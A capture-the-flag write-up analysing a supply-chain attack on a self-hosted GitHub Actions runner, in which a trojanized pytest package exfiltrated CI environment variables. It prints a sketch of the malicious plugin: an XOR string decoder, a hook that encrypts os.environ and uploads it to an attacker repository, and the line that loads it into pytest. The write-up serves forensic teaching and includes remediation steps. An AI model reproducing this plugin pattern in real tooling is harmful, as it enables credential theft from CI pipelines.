> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2026/wiz-cloud-security-challenge/trust-issues.md).

# Trust Issues

### Challenge Description

<figure><img src="/files/9AVlTj3662MAGmK1CvfK" alt=""><figcaption></figcaption></figure>

There is a public GitHub repository that appears to contain stolen data:

```
https://github.com/m4gicst34l3r/stolen-sparkles
```

The investigation starts from shell access on the suspected compromised machine:

```
root@magic-runner-acme
```

The goals are to understand what happened on the machine, identify how data was exfiltrated, and recover the flag.

### Table of Contents

* [Challenge Description](#challenge-description)
* [Table of Contents](#table-of-contents)
* [Solution Overview](#solution-overview)
* [Initial Analysis](#initial-analysis)
  * [Runner role](#runner-role)
  * [Workflow behavior](#workflow-behavior)
  * [Downloaded actions](#downloaded-actions)
* [Main Exploitation](#main-exploitation)
  * [Suspicious pip configuration](#suspicious-pip-configuration)
  * [Trojanized pytest package](#trojanized-pytest-package)
  * [Malicious plugin behavior](#malicious-plugin-behavior)
  * [Attack chain](#attack-chain)
* [Getting the Flag](#getting-the-flag)
  * [Decrypting the secret](#decrypting-the-secret)
  * [Summary](#summary)
  * [Remediation checklist](#remediation-checklist)

### Solution Overview

This was a supply chain compromise against a self-hosted GitHub Actions runner. The runner was configured to install Python packages from an internal package index. During the workflow, it force-reinstalled `pytest` while sensitive CI variables were present in the environment.

The installed `pytest` package was trojanized. A malicious plugin collected environment variables, encrypted them with Fernet, and uploaded the encrypted blob to the attacker's GitHub repository.

1. **Stage 1** - Identify the machine as a GitHub Actions self-hosted runner.
2. **Stage 2** - Review the workflow and notice that `pytest` is force-reinstalled.
3. **Stage 3** - Check the runner user's pip configuration and find the custom package index.
4. **Stage 4** - Inspect the installed `pytest` package and find the malicious plugin.
5. **Stage 5** - Decrypt the exfiltrated file from the attacker's repository and recover the flag.

**Key Vulnerability:** The runner trusted an internal Python package index and installed unverified CI tooling while secrets were available in the job environment.

### Initial Analysis

The hints point toward the machine's purpose and a supply chain attack. That makes the local runner configuration and dependency installation path more interesting than normal application files.

#### Runner role

Start by checking the runner directory:

```bash
ls -al /home/ubuntu/actions-runner/
```

**Output:**

```
.credentials
.runner
_diag/
_work/
```

The files are enough to identify the host as a GitHub Actions self-hosted runner. The `_work/` directory also shows which repository has been running jobs on it.

```bash
cat /home/ubuntu/actions-runner/_work/_PipelineMapping/acme-codebase-prod/k8s-magic-tool/PipelineFolder.json
```

**Output:**

```json
{
  "repositoryName": "acme-codebase-prod/k8s-magic-tool",
  "lastRunOn": "02/01/2026 19:07:16 +00:00"
}
```

**Key findings:**

* The runner belongs to the `acme-codebase-prod` organization.
* It runs jobs for `acme-codebase-prod/k8s-magic-tool`.
* The runner name matches the compromised host: `magic-runner-acme`.

> **Security Note:** Self-hosted GitHub Actions runners are sensitive infrastructure. Jobs can receive cloud credentials, kubeconfigs, repository tokens, and other secrets through environment variables.

#### Workflow behavior

The challenge-provided workflow explains what this runner does:

```yaml
name: k8s-magic inventory tests

on:
  workflow_dispatch:

jobs:
  inventory-test:
    runs-on: self-hosted
    env:
      GOOGLE_APPLICATION_CREDENTIALS: /tmp/gcp-key.json
      KUBECONFIG: /tmp/kubeconfig
      GCP_PROJECT_ID: ${{ vars.GCP_PROJECT_ID }}
    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Write GCP credentials
        run: |
          echo '${{ secrets.GKE_SA_KEY }}' | base64 -d > "$GOOGLE_APPLICATION_CREDENTIALS"

      - name: Install dependencies
        run: |
          pip install -r requirements.txt
          pip install --upgrade --force-reinstall pytest

      - name: Run pytest
        run: python3 -m pytest -v --tb=line

      - name: Cleanup credentials
        if: always()
        run: rm -f "$GOOGLE_APPLICATION_CREDENTIALS" "$KUBECONFIG"
```

The risky part is the second install command. The workflow force-reinstalls `pytest` on every run, so the package source matters a lot. If pip is pointed at a bad package index, CI will install the attacker's tooling right before tests run.

**Key findings:**

* GCP credentials and a kubeconfig path are present during the job.
* `pytest` is force-reinstalled every run.
* The cleanup step removes credential files, but it does not clean installed Python packages.

#### Downloaded actions

The `_work/_actions/` directory contains actions downloaded by the runner:

```bash
ls -alR /home/ubuntu/actions-runner/_work/_actions/
```

Only `actions/checkout@v4` was present, and its files matched the legitimate open-source action. That made the downloaded action cache a dead end.

***

### Main Exploitation

The useful lead was the Python environment used by the runner account. Running package checks as `root` did not show the full picture, because the runner jobs executed as `ubuntu`.

#### Suspicious pip configuration

Check installed packages and pip settings as the runner user:

```bash
su - ubuntu -c "pip list"
su - ubuntu -c "pip config list"
```

**Output:**

```
kubernetes          34.1.0
google-auth         2.47.0
pytest              9.0.2

global.index-url='http://10.10.0.2:3141/simple'
global.trusted-host='10.10.0.2'
```

This is the first real break in the case. The runner's pip client was not using the public PyPI index. It was configured to trust an internal package index at `10.10.0.2:3141`.

That server was no longer reachable during the investigation, but the package it served was still installed in the `ubuntu` user's site-packages directory.

#### Trojanized pytest package

Inspect the installed Python packages:

```bash
ls -la /home/ubuntu/.local/lib/python3.10/site-packages/
```

**Output:**

```
-rw-r--r-- 1 ubuntu ubuntu 3410 Feb  1 19:07 veryveryverymalicious.py
```

The filename is not subtle. The next question is whether `pytest` actually loads it.

```bash
grep "veryveryverymalicious" \
  /home/ubuntu/.local/lib/python3.10/site-packages/_pytest/main.py
```

**Output:**

```python
pytest_plugins = ["_pytest.veryveryverymalicious"]
```

That line wires the malicious file into pytest's normal plugin system. Every run of `python3 -m pytest` loads it automatically.

#### Malicious plugin behavior

The plugin hid its strings with a simple XOR function:

```python
def _s(data, k=17):
    return "".join(chr(x ^ k) for x in data)
```

Decoding the embedded byte arrays revealed the important values:

```
cryptography.fernet
Fernet
Sk_LYVtT4BMC4J5E5cvaDLoH3JIU7f03QubERq8zoQ=
github_pat_11B46T7ZI08cBCgCiIyiNx_KRzURDMzOq2zoF5x...
m4gicst34l3r
stolen-sparkles
```

The plugin used the legitimate `pytest_sessionfinish` hook. That hook runs after a pytest session completes, which makes the attack quiet: tests can finish normally, then the plugin runs in the same process with access to the job environment.

The core behavior was:

```python
def pytest_sessionfinish(session, exitstatus):
    data = {"environment_variables": dict(os.environ)}

    fernet = Fernet(CRYPT_KEY)
    encrypted_blob = fernet.encrypt(json.dumps(data).encode())

    upload_to_repo(encrypted_blob)
```

**Analysis:**

The plugin did not need to read the GCP key file directly. It copied the whole environment, which included the flag and the paths to sensitive credential files. It then uploaded the encrypted content to:

```
https://github.com/m4gicst34l3r/stolen-sparkles
```

The output path was based on the runner name:

```
data/{RUNNER_NAME}.secret
```

For this host, that became:

```
data/magic-runner-acme.secret
```

The plugin also tried to remove evidence by deleting workspace files and `Worker_*.log` files from `_diag/`.

#### Attack chain

1. The attacker compromised or controlled the internal Python package index at `10.10.0.2:3141`.
2. A trojanized `pytest` package was published there.
3. The workflow ran `pip install --upgrade --force-reinstall pytest`.
4. The runner installed the trojanized package into the `ubuntu` user's Python environment.
5. When tests ran, the malicious pytest plugin collected environment variables.
6. The plugin encrypted the data with Fernet and pushed it to the public `stolen-sparkles` repository.
7. The plugin deleted some local logs and workspace files.

***

### Getting the Flag

The attacker had already published the stolen blob. Since the Fernet key was hardcoded in the malicious plugin, decrypting the file was straightforward.

#### Decrypting the secret

Clone the attacker's repository and inspect the data directory:

```bash
git clone https://github.com/m4gicst34l3r/stolen-sparkles /tmp/stolen-sparkles
ls /tmp/stolen-sparkles/data/
```

**Output:**

```
magic-runner-acme.secret
```

Decrypt it with the key recovered from the plugin:

```python
from cryptography.fernet import Fernet
import json

CRYPT_KEY = b"Sk_LYVtT4BMC4J5E5cvaDLoH3JIU7f03QubERq8zoQ="

with open("/tmp/stolen-sparkles/data/magic-runner-acme.secret", "rb") as f:
    encrypted_content = f.read()

fernet = Fernet(CRYPT_KEY)
decrypted = fernet.decrypt(encrypted_content)
data = json.loads(decrypted)

for key, value in sorted(data["environment_variables"].items()):
    print(f"{key}: {value}")
```

**Response:**

```
FLAG: CTF{supply_chain_by_M@G!C_St3a1ER}
GOOGLE_APPLICATION_CREDENTIALS: /tmp/gcp-key.json
GCP_PROJECT_ID: attack-simulation-lab-467210
KUBECONFIG: /tmp/kubeconfig
GITHUB_REPOSITORY: acme-codebase-prod/k8s-magic-tool
```

**Success!**

**Flag:** `CTF{supply_chain_by_M@G!C_St3a1ER}`

#### Summary

1. The compromised host was a self-hosted GitHub Actions runner for `acme-codebase-prod/k8s-magic-tool`.
2. The workflow wrote cloud credentials and then force-reinstalled `pytest`.
3. The runner user's pip configuration trusted `http://10.10.0.2:3141/simple`.
4. The installed `pytest` package contained `_pytest/veryveryverymalicious.py`.
5. The malicious pytest plugin collected environment variables and uploaded them to `m4gicst34l3r/stolen-sparkles`.
6. The encrypted blob in `data/magic-runner-acme.secret` decrypted to the flag.

#### Remediation checklist

* Rotate the exposed GCP service account key.
* Rotate the kubeconfig credentials.
* Audit how `pip.conf` was changed and whether the same setting exists on other runners.
* Remove the trojanized `pytest` package from affected hosts.
* Pin CI tool versions and verify package hashes.
* Stop force-reinstalling unverified tools during jobs that handle secrets.
* Move self-hosted CI workloads to ephemeral runners where possible.
* Report the exposed attacker token and public leak repository to GitHub.
